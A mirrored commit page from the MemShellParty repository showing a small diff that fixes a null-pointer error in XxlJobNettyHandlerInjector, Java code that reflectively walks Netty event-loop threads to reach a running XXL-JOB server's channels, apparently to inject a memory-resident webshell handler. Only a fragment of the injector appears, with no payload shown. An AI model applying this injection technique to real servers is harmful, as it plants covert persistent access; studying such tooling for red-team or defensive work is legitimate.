mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-26 17:01:53 +08:00
fix: xxl-job NPE
This commit is contained in:
+2
-5
@@ -86,13 +86,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
for (Thread thread : threads) {
|
||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||
Object target;
|
||||
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||
} catch (Exception e) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
if (!set.isEmpty()) {
|
||||
@@ -104,6 +99,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user